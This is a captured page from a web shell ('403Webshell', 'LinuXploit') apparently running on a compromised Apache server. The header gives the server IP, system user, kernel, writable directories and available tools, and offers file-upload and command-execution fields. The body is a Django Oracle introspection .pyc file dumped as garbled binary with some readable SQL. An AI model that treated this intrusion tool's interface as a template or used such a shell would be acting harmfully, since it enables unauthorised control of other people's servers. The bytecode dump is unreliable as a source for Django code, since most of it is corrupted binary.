403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/django/db/backends/oracle/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/django/db/backends/oracle/__pycache__/introspection.cpython-311.pyc
�

�|�e@7���ddlmZddlZddlmZddlmZmZm	Z	ddl
mZedejdz��ZGd�d	e��Z
dS)
�)�
namedtupleN)�models)�BaseDatabaseIntrospection�	FieldInfo�	TableInfo)�cached_propertyr)�is_autofield�is_jsonc�j��eZdZdZed���Z�fd�Zd�Zd�Zd�Z	d
d�Z
d	�Zd
�Zd�Z
d�Z�xZS)�DatabaseIntrospection�c�j�|jjdkr�tjdtjdtjdtjdtjdtjdtj	dtj
dtjdtjdtj
dtjd	iStjdtjdtjdtjdtjdtjdtjdtjdtjdtjdtjd	tjdiS)
N)��BinaryField�	TextField�	DateField�	CharField�
DurationField�
FloatField�DecimalField�
DateTimeField)�
connection�cx_oracle_version�	cx_Oracle�BLOB�CLOB�DATETIME�
FIXED_CHAR�FIXED_NCHAR�INTERVAL�NATIVE_FLOAT�NCHAR�NCLOB�NUMBER�STRING�	TIMESTAMP�DB_TYPE_DATE�DB_TYPE_BINARY_DOUBLE�DB_TYPE_BLOB�DB_TYPE_CHAR�DB_TYPE_CLOB�DB_TYPE_INTERVAL_DS�
DB_TYPE_NCHAR�
DB_TYPE_NCLOB�DB_TYPE_NVARCHAR�DB_TYPE_NUMBER�DB_TYPE_TIMESTAMP�DB_TYPE_VARCHAR)�selfs �I/usr/lib/python3/dist-packages/django/db/backends/oracle/introspection.py�data_types_reversez(DatabaseIntrospection.data_types_reverses����?�,�t�3�3���
�����"�K��$�k��%�{��"�O��&��������� �.�� �+��#�_�
�

� �&���/���&�
��&���&���-���'���'���*�K��(�.��+�_��)�;�
�

�c�L��|tjkrY|dd�\}}|dkr=|dkr|jrdndSd|cxkrdkrnn	|jrdS|dkrd	S|jrd
SdS|dkrd
Sn|tjkr	|jrdSt���||��S)N��r��BigAutoField�BigIntegerFieldr
�SmallAutoField�BooleanField�	AutoField�IntegerFieldi����r�	JSONField)rr$r	r#r
�super�get_field_type)r3�	data_type�description�	precision�scale�	__class__s     �r4rCz$DatabaseIntrospection.get_field_type3s�����	�(�(�(�*�1�Q�3�/��I�u���z�z��r�>�>�-8�-E�\�>�>�K\�\���&�&�&�&�Q�&�&�&�&�&�;�+C�&�+�+��!�^�^�)�>� �-�*�&�;�)�>��$���#�|��
�)�/�
)�
)�k�.A�
)��;��w�w�%�%�i��=�=�=r6c�n��|�d���fd�|���D��S)z>Return a list of table and view names in the current database.a�
            SELECT table_name, 't'
            FROM user_tables
            WHERE
                NOT EXISTS (
                    SELECT 1
                    FROM user_mviews
                    WHERE user_mviews.mview_name = user_tables.table_name
                )
            UNION ALL
            SELECT view_name, 'v' FROM user_views
            UNION ALL
            SELECT mview_name, 'v' FROM user_mviews
        c�n��g|]1}t��|d��|d����2S)rr
)r�identifier_converter��.0�rowr3s  �r4�
<listcomp>z8DatabaseIntrospection.get_table_list.<locals>.<listcomp>Xs9���b�b�b��	�$�3�3�C��F�;�;�S��V�D�D�b�b�br6)�execute�fetchall)r3�cursors` r4�get_table_listz$DatabaseIntrospection.get_table_listHsH������
�
	
�
	
�
	
�c�b�b�b�PV�P_�P_�Pa�Pa�b�b�b�br6c	�:�|�d|g��d�|���D��}|xjdz
c_|�d�|jj�|��|j����g}|jD]�}|d}||\}}}	}
}|iz}|�t|�
|��g|dd��|�|dpd�|dpd�|d	d
��|�|	�|
�|�R�����|S)zi
        Return a description of the table with the DB-API cursor.description
        interface.
        a>
            SELECT
                user_tab_cols.column_name,
                user_tab_cols.data_default,
                CASE
                    WHEN user_tab_cols.collation = user_tables.default_collation
                    THEN NULL
                    ELSE user_tab_cols.collation
                END collation,
                CASE
                    WHEN user_tab_cols.char_used IS NULL
                    THEN user_tab_cols.data_length
                    ELSE user_tab_cols.char_length
                END as internal_size,
                CASE
                    WHEN user_tab_cols.identity_column = 'YES' THEN 1
                    ELSE 0
                END as is_autofield,
                CASE
                    WHEN EXISTS (
                        SELECT  1
                        FROM user_json_columns
                        WHERE
                            user_json_columns.table_name = user_tab_cols.table_name AND
                            user_json_columns.column_name = user_tab_cols.column_name
                    )
                    THEN 1
                    ELSE 0
                END as is_json
            FROM user_tab_cols
            LEFT OUTER JOIN
                user_tables ON user_tables.table_name = user_tab_cols.table_name
            WHERE user_tab_cols.table_name = UPPER(%s)
        c�<�i|]\}}}}}}|||dkr|nd|||f��S)�NULLN�)rM�column�default�	collation�
internal_sizer	r
s       r4�
<dictcomp>z?DatabaseIntrospection.get_table_description.<locals>.<dictcomp>�sQ��
�
�
�P����M�<��
�]�w�&�/@�/@�G�G�d�I�Wc�el�m�
�
�
r6r
z,SELECT * FROM {} WHERE ROWNUM < 2 AND {} > 0r�r8�r9N)rPrQ�cache_bust_counter�formatr�ops�
quote_namerE�appendrrK)r3rR�
table_name�	field_maprE�desc�namer[rYrZr	r
s            r4�get_table_descriptionz+DatabaseIntrospection.get_table_descriptionZs���	���!�B�\�C!	�!	�!	�D
�
�TZ�Tc�Tc�Te�Te�
�
�
�	�	
���1�$������E�L�L��O��*�*�:�6�6��#�%�%�	&�	&�	&����&�	�	�D���7�D�GP�QU��D�M�7�I�|�W��"�9�D����y��)�)�$�/�/� �26�q��s�)� �=J� �LP�QR�G�L�WX� ��Q���1� �#�A�B�B�x� �)0� �2;� �=I� �KR� � � �
�
�
�
��r6c�*�|���S)z7Identifier comparison is case insensitive under Oracle.)�lower)r3rgs  r4rKz*DatabaseIntrospection.identifier_converter�s���z�z�|�|�r6rWc�P�|�d|g��|���}|rL|�|d��|�|��|�|d��d�gS|D])}t|tj��r
||jd�gcS�*gS)Na|
            SELECT
                user_tab_identity_cols.sequence_name,
                user_tab_identity_cols.column_name
            FROM
                user_tab_identity_cols,
                user_constraints,
                user_cons_columns cols
            WHERE
                user_constraints.constraint_name = cols.constraint_name
                AND user_constraints.table_name = user_tab_identity_cols.table_name
                AND cols.column_name = user_tab_identity_cols.column_name
                AND user_constraints.constraint_type = 'P'
                AND user_tab_identity_cols.table_name = UPPER(%s)
        rr
)rg�tablerX)rlrX)rP�fetchonerK�
isinstancerr?rX)r3rRrd�table_fieldsrN�fs      r4�
get_sequencesz#DatabaseIntrospection.get_sequences�s��������\�	�	�	� �o�o�����	��1�1�#�a�&�9�9��2�2�:�>�>��3�3�C��F�;�;����
��	C�	C�A��!�V�-�.�.�
C�",���A�A�B�B�B�B�
C��	r6c���|���}|�d|g���fd�|���D��S)z�
        Return a dictionary of {field_name: (field_name_other_table, other_table)}
        representing all relationships to the given table.
        ab
    SELECT ca.column_name, cb.table_name, cb.column_name
    FROM   user_constraints, USER_CONS_COLUMNS ca, USER_CONS_COLUMNS cb
    WHERE  user_constraints.table_name = %s AND
           user_constraints.constraint_name = ca.constraint_name AND
           user_constraints.r_constraint_name = cb.constraint_name AND
           ca.position = cb.positionc���i|]D\}}}��|����|����|��f��ESrW�rK)rM�
field_name�rel_table_name�rel_field_namer3s    �r4r\z7DatabaseIntrospection.get_relations.<locals>.<dictcomp>�sf���
�
�
�=�*�n�n�
�%�%�j�1�1��)�)�.�9�9��)�)�.�9�9�4�
�
�
r6)�upperrPrQ�r3rRrds`  r4�
get_relationsz#DatabaseIntrospection.get_relations�sq���
 �%�%�'�'�
����(�+5��
	7�	7�	7�
�
�
�
�AG���@Q�@Q�	
�
�
�	
r6c���|�d|���g���fd�|���D��S)Na�
            SELECT ccol.column_name, rcol.table_name AS referenced_table, rcol.column_name AS referenced_column
            FROM user_constraints c
            JOIN user_cons_columns ccol
              ON ccol.constraint_name = c.constraint_name
            JOIN user_cons_columns rcol
              ON rcol.constraint_name = c.r_constraint_name
            WHERE c.table_name = %s AND c.constraint_type = 'R'c�F��g|]}t�fd�|D������S)c3�B�K�|]}��|��V��dS)Nrt)rM�cellr3s  �r4�	<genexpr>zCDatabaseIntrospection.get_key_columns.<locals>.<listcomp>.<genexpr>�s1�����B�B�d�$�+�+�D�1�1�B�B�B�B�B�Br6)�tuplerLs  �r4rOz9DatabaseIntrospection.get_key_columns.<locals>.<listcomp>�sF���
�
�
��
�B�B�B�B�c�B�B�B�B�B�
�
�
r6)rPrxrQrys`  r4�get_key_columnsz%DatabaseIntrospection.get_key_columns�sm������C�FP�EU�EU�EW�EW�DX�	Z�	Z�	Z�
�
�
�
����(�(�
�
�
�	
r6c��|�d|g��|���}|r|�|d��ndS)Na�
            SELECT
                cols.column_name
            FROM
                user_constraints,
                user_cons_columns cols
            WHERE
                user_constraints.constraint_name = cols.constraint_name AND
                user_constraints.constraint_type = 'P' AND
                user_constraints.table_name = UPPER(%s) AND
                cols.position = 1
        r)rPrmrK)r3rRrdrNs    r4�get_primary_key_columnz,DatabaseIntrospection.get_primary_key_column�sW�������\�	�	�	��o�o����47�A�t�(�(��Q��0�0�0�T�Ar6c��i}|�d|g��|���D]<\}}}}}|�|��}|�d��||d||d�||<�=|�d|g��|���D]=\}}}	}
|�|��}dd|	|
fdd|�d��d�||<�>|�d|g��|���D]X\}}}}|�|��}ddddd	|d
krdn||�d��|�d��d�||<�Y|S)
zu
        Retrieve any constraints or keys (unique, pk, fk, check, index) across
        one or more columns.
        a$
            SELECT
                user_constraints.constraint_name,
                LISTAGG(LOWER(cols.column_name), ',') WITHIN GROUP (ORDER BY cols.position),
                CASE user_constraints.constraint_type
                    WHEN 'P' THEN 1
                    ELSE 0
                END AS is_primary_key,
                CASE
                    WHEN user_constraints.constraint_type IN ('P', 'U') THEN 1
                    ELSE 0
                END AS is_unique,
                CASE user_constraints.constraint_type
                    WHEN 'C' THEN 1
                    ELSE 0
                END AS is_check_constraint
            FROM
                user_constraints
            LEFT OUTER JOIN
                user_cons_columns cols ON user_constraints.constraint_name = cols.constraint_name
            WHERE
                user_constraints.constraint_type = ANY('P', 'U', 'C')
                AND user_constraints.table_name = UPPER(%s)
            GROUP BY user_constraints.constraint_name, user_constraints.constraint_type
        �,N)�columns�primary_key�unique�foreign_key�check�indexa�
            SELECT
                cons.constraint_name,
                LISTAGG(LOWER(cols.column_name), ',') WITHIN GROUP (ORDER BY cols.position),
                LOWER(rcols.table_name),
                LOWER(rcols.column_name)
            FROM
                user_constraints cons
            INNER JOIN
                user_cons_columns rcols ON rcols.constraint_name = cons.r_constraint_name AND rcols.position = 1
            LEFT OUTER JOIN
                user_cons_columns cols ON cons.constraint_name = cols.constraint_name
            WHERE
                cons.constraint_type = 'R' AND
                cons.table_name = UPPER(%s)
            GROUP BY cons.constraint_name, rcols.table_name, rcols.column_name
        F)r�r�r�r�r�r�a�
            SELECT
                ind.index_name,
                LOWER(ind.index_type),
                LISTAGG(LOWER(cols.column_name), ',') WITHIN GROUP (ORDER BY cols.column_position),
                LISTAGG(cols.descend, ',') WITHIN GROUP (ORDER BY cols.column_position)
            FROM
                user_ind_columns cols, user_indexes ind
            WHERE
                cols.table_name = UPPER(%s) AND
                NOT EXISTS (
                    SELECT 1
                    FROM user_constraints cons
                    WHERE ind.index_name = cons.index_name
                ) AND cols.index_name = ind.index_name
            GROUP BY ind.index_name, ind.index_type
        T�normal�idx)r�r�r�r�r��typer��orders)rPrQrK�split)
r3rRrd�constraints�
constraintr��pkr�r��other_table�other_column�type_r�s
             r4�get_constraintsz%DatabaseIntrospection.get_constraints�s���
������0�\�1	�	�	�27=�o�o�6G�6G�		�		�2�J���V�U��2�2�:�>�>�J�"�=�=��-�-�!� �#���
'�'�K�
�#�#�	���� �\�!	�	�	�"?E�o�o�>O�>O�		�		�:�J���l��2�2�:�>�>�J�$�� +�\�:���"�=�=��-�-�
'�'�K�
�#�#�	���� �\�!	�	�	�"39�/�/�2C�2C�	�	�.�J��w���2�2�:�>�>�J�$��#���!&�(�!2�!2����"�=�=��-�-� �,�,�s�+�+�	'�	'�K�
�#�#��r6)rW)�__name__�
__module__�__qualname__r_rr5rCrSrhrKrqrzr�r�r��
__classcell__)rHs@r4rrs��������������_��@>�>�>�>�>�*c�c�c�$9�9�9�v�������>
�
�
�*
�
�
�B�B�B� d�d�d�d�d�d�dr6r)�collectionsrr�	django.dbr�%django.db.backends.base.introspectionrr�
BaseFieldInfor�django.utils.functionalr�_fieldsrrWr6r4�<module>r�s���"�"�"�"�"�"���������������������4�3�3�3�3�3��J�{�M�$9�<W�$W�X�X�	�A�A�A�A�A�5�A�A�A�A�Ar6

Youez - 2016 - github.com/yon3zu
LinuXploit